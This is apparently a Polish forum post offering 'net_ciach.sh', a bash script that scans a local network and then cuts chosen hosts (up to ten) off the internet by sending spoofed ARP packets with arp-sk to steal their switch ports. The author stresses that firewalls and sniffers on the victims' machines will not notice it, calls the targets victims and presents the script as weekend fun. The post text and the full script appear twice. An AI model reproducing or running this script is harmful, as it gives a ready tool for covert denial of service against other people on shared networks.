Proponuję nową zabawkę na weekend: net_ciach.sh
Wszak Polacy nie gęsi i swój NetCut mają ;-)
Skrypt wyłącza dostęp do internetu wybranym hostom w sieci lokalnej (max. dziesięciu naraz). Do działania wymaga:
arping - http://freshmeat.net/projects/arping/
arp-sk - http://www.arp-sk.org/
Na początku skrypt skanuje sieć w poszukiwaniu live hostów. Parametry skanowania ustawia się za pomocą zmiennych zdefiniowanych na początku skryptu. Program działa metodą "port stealing" tzn. mówiąc najogólniej oszukuje switcha wmawiając mu, że dany host jest wpięty do tego samego portu co nasz komputer. Dzięki temu pakiety przeznaczone dla niego, trafiają do nas, a my je upuszczamy dzięki wyłączeniu forwardingu (co jest już zresztą i tak domyślnie ustawione w systemie). Jest to więc jedynie half-duplex, ale to w pełni wystarcza by zerwać połączenie utrzymywane do tej pory przez naszą ofiarę.
Jaka jest główna zaleta tego działania?? Niewidoczność. Nawet najbardziej zaawansowany w obsłudze pakietów firewall Sygate'a nic nie sygnalizuje, zaś włączenie sniffera na kompie ofiary nie odkryje żadnego pakietu!! No, z wyj. ICMP redirect może, ale kto by się na tym poznał... Ponadto, dzięki temu że pakiety w adresie docelowym mają naszego kompa, są one widoczne TYLKO Z NASZEGO KOMPUTERA. Metoda ta nie dokonuje żadnych modyfikacji w cache'ach ofiar. Dodam, że mimo usilnych poszukiwań, nie znalazłem na Googlach drugiego programu, który w ten sposób odcinałby dostęp do Internetu.
Gdy chcemy zakończyc odcinanie, skrypt tak samo jak od razu odcinał neta, od razu go przywraca dzięki zapytaniu arp, skierowanym do ofiar (ofiary).
Skrypcik wysyła fałszywe ARP do każdego z komputerów co 10 sekund, ponieważ nie trzeba zalewać kompów ogromną ich liczbą - kolejna zaleta
Proszę oczywiście o informowanie o wszelkich bugach, w szczególności o ew. wykrywaniu naszej podstępnej działalności ;-) Zauważyłem że gdy pakiety były wysyłane zbyt często, win98 reagował komunikatem o konflikcie adresów MAC, ale wydaje mi się że ten problem został wyeliminowany właśnie przez duży delay między poszczególnymi pakietami.
Miłej zabawy.
#!/bin/sh
#
# net_ciach.sh
#
# Odcina okreslonemu hostowi (hostom - max. 10) dostep do internetu. Wyboru hosta
# dokonuje sie po przeskanowaniu zadanego fragmentu sieci.
# Do dzialania wymgaga arping oraz arp-sk.
#
# by Barca
#
BRAMA=192.168.0.1 # brama do internetu (adres routera/serwera)
ZAKRES=192.168.0. # rodzaj zakresu IP bez ostatniej pozycji, np. 192.168.0.
POCZATEK=100 # poczatkowy host do scanu w ramach podanego zakresu, np. 1
KONIEC=130 # koncowy host do scanu w ramach podanego zakresu, np. 255
CZAS=2000 # czas pingowania w ms - im dluzszy tym wieksze prawdopodobienstwo
# poprawnych wynikow ale rowniez dluzszy czas skanowania. Optimum: 2000
CYKL=10 # czas w sekundach jaki zajmuje skryptowi wyslanie po jednym pakiecie
# do kazdego hosta. Podzielony przez liczbe hostow daje czas jaki
# uplywa miedzy wyslaniem kazdego poszczegolnego pakietu. Optimum: 10
# skanowanie live hostow
MOJEIP=`/sbin/ifconfig eth0 | grep 'inet addr' | grep Bcast | awk '{print $2}' | awk -F: '{print $2}'`
MOJMAC=`/sbin/ifconfig eth0 | grep HWaddr | awk '{print $5; }'`
clear
echo $MOJMAC
echo -e "E[32m$MOJEIP033[0m"
hostname
echo
echo -e "033[4mPozostale live hosty w LANie:033[0m"
echo
KONIEC=`expr $KONIEC + 1`
while [ ! $POCZATEK = $KONIEC ]
do
IP=192.168.0.$POCZATEK
if [ $IP = $MOJEIP ]
then
POCZATEK=`expr $POCZATEK + 1`
IP=192.168.0.$POCZATEK
fi
arping -c 1 -r -w $CZAS $IP && echo -e "E[32m$IP033[0m" && nmblookup -A "$IP" | grep "<00>" | cut -f2 | awk -F" " '{print $1}' | head -n 1 && echo
POCZATEK=`expr $POCZATEK + 1`
done
echo 0 > /proc/sys/net/ipv4/ip_forward # wylacza forwarding pakietow
# pobieranie liczby hostow
echo -e "E[31mSkanowanie zakonczone033[0m"
echo ""
read -p "Ilu hostom chcesz odciac dostep do Internetu, max. 10 (q - wyjscie)? " LICZBA_OFIAR
if [ $LICZBA_OFIAR = q ]
then
exit
fi
X=0
echo ""
# pobieranie numerow IP
function numery_IP
{
if [ $X = $LICZBA_OFIAR ]
then
echo ""
else
X=`expr $X + 1`
echo -n "Podaj IP hosta nr "
echo -n $X
read -p ": " IP$X
numery_IP
fi
}
numery_IP
echo "Aby rozpoczac odcinanie tym hostom dostepu do internetu,"
read -p "nacisnij Enter (q - wyjscie) " X
if [ "$X" = "q" ]
then
exit
fi
function koniec
{
clear
echo -e "E[31mOdcinanie neta zakonczone033[0m"
echo "Pamietaj, ze Twoje ofiary nie beda mialy internetu jeszcze przez kilka minut."
echo ""
exit
}
# odlaczanie internetu
CZAS=`expr $CYKL / $LICZBA_OFIAR`
while Y=0
do
X=0
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP1 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP2 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP3 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP4 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP5 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP6 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP7 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP8 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP9 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP10 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
done
Wszak Polacy nie gęsi i swój NetCut mają ;-)
Skrypt wyłącza dostęp do internetu wybranym hostom w sieci lokalnej (max. dziesięciu naraz). Do działania wymaga:
arping - http://freshmeat.net/projects/arping/
arp-sk - http://www.arp-sk.org/
Na początku skrypt skanuje sieć w poszukiwaniu live hostów. Parametry skanowania ustawia się za pomocą zmiennych zdefiniowanych na początku skryptu. Program działa metodą "port stealing" tzn. mówiąc najogólniej oszukuje switcha wmawiając mu, że dany host jest wpięty do tego samego portu co nasz komputer. Dzięki temu pakiety przeznaczone dla niego, trafiają do nas, a my je upuszczamy dzięki wyłączeniu forwardingu (co jest już zresztą i tak domyślnie ustawione w systemie). Jest to więc jedynie half-duplex, ale to w pełni wystarcza by zerwać połączenie utrzymywane do tej pory przez naszą ofiarę.
Jaka jest główna zaleta tego działania?? Niewidoczność. Nawet najbardziej zaawansowany w obsłudze pakietów firewall Sygate'a nic nie sygnalizuje, zaś włączenie sniffera na kompie ofiary nie odkryje żadnego pakietu!! No, z wyj. ICMP redirect może, ale kto by się na tym poznał... Ponadto, dzięki temu że pakiety w adresie docelowym mają naszego kompa, są one widoczne TYLKO Z NASZEGO KOMPUTERA. Metoda ta nie dokonuje żadnych modyfikacji w cache'ach ofiar. Dodam, że mimo usilnych poszukiwań, nie znalazłem na Googlach drugiego programu, który w ten sposób odcinałby dostęp do Internetu.
Gdy chcemy zakończyc odcinanie, skrypt tak samo jak od razu odcinał neta, od razu go przywraca dzięki zapytaniu arp, skierowanym do ofiar (ofiary).
Skrypcik wysyła fałszywe ARP do każdego z komputerów co 10 sekund, ponieważ nie trzeba zalewać kompów ogromną ich liczbą - kolejna zaleta
Proszę oczywiście o informowanie o wszelkich bugach, w szczególności o ew. wykrywaniu naszej podstępnej działalności ;-) Zauważyłem że gdy pakiety były wysyłane zbyt często, win98 reagował komunikatem o konflikcie adresów MAC, ale wydaje mi się że ten problem został wyeliminowany właśnie przez duży delay między poszczególnymi pakietami.
Miłej zabawy.
#!/bin/sh
#
# net_ciach.sh
#
# Odcina okreslonemu hostowi (hostom - max. 10) dostep do internetu. Wyboru hosta
# dokonuje sie po przeskanowaniu zadanego fragmentu sieci.
# Do dzialania wymgaga arping oraz arp-sk.
#
# by Barca
#
BRAMA=192.168.0.1 # brama do internetu (adres routera/serwera)
ZAKRES=192.168.0. # rodzaj zakresu IP bez ostatniej pozycji, np. 192.168.0.
POCZATEK=100 # poczatkowy host do scanu w ramach podanego zakresu, np. 1
KONIEC=130 # koncowy host do scanu w ramach podanego zakresu, np. 255
CZAS=2000 # czas pingowania w ms - im dluzszy tym wieksze prawdopodobienstwo
# poprawnych wynikow ale rowniez dluzszy czas skanowania. Optimum: 2000
CYKL=10 # czas w sekundach jaki zajmuje skryptowi wyslanie po jednym pakiecie
# do kazdego hosta. Podzielony przez liczbe hostow daje czas jaki
# uplywa miedzy wyslaniem kazdego poszczegolnego pakietu. Optimum: 10
# skanowanie live hostow
MOJEIP=`/sbin/ifconfig eth0 | grep 'inet addr' | grep Bcast | awk '{print $2}' | awk -F: '{print $2}'`
MOJMAC=`/sbin/ifconfig eth0 | grep HWaddr | awk '{print $5; }'`
clear
echo $MOJMAC
echo -e "E[32m$MOJEIP033[0m"
hostname
echo
echo -e "033[4mPozostale live hosty w LANie:033[0m"
echo
KONIEC=`expr $KONIEC + 1`
while [ ! $POCZATEK = $KONIEC ]
do
IP=192.168.0.$POCZATEK
if [ $IP = $MOJEIP ]
then
POCZATEK=`expr $POCZATEK + 1`
IP=192.168.0.$POCZATEK
fi
arping -c 1 -r -w $CZAS $IP && echo -e "E[32m$IP033[0m" && nmblookup -A "$IP" | grep "<00>" | cut -f2 | awk -F" " '{print $1}' | head -n 1 && echo
POCZATEK=`expr $POCZATEK + 1`
done
echo 0 > /proc/sys/net/ipv4/ip_forward # wylacza forwarding pakietow
# pobieranie liczby hostow
echo -e "E[31mSkanowanie zakonczone033[0m"
echo ""
read -p "Ilu hostom chcesz odciac dostep do Internetu, max. 10 (q - wyjscie)? " LICZBA_OFIAR
if [ $LICZBA_OFIAR = q ]
then
exit
fi
X=0
echo ""
# pobieranie numerow IP
function numery_IP
{
if [ $X = $LICZBA_OFIAR ]
then
echo ""
else
X=`expr $X + 1`
echo -n "Podaj IP hosta nr "
echo -n $X
read -p ": " IP$X
numery_IP
fi
}
numery_IP
echo "Aby rozpoczac odcinanie tym hostom dostepu do internetu,"
read -p "nacisnij Enter (q - wyjscie) " X
if [ "$X" = "q" ]
then
exit
fi
function koniec
{
clear
echo -e "E[31mOdcinanie neta zakonczone033[0m"
echo "Pamietaj, ze Twoje ofiary nie beda mialy internetu jeszcze przez kilka minut."
echo ""
exit
}
# odlaczanie internetu
CZAS=`expr $CYKL / $LICZBA_OFIAR`
while Y=0
do
X=0
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP1 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP2 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP3 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP4 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP5 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP6 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP7 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP8 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP9 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
if [ "$X" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -s $IP10 --rand-arp-hwa-src
X=`expr $X + 1`
read -p "q - koniec " -t $CZAS Z
if [ "$Z" = "q" ]
then
koniec
fi
fi
done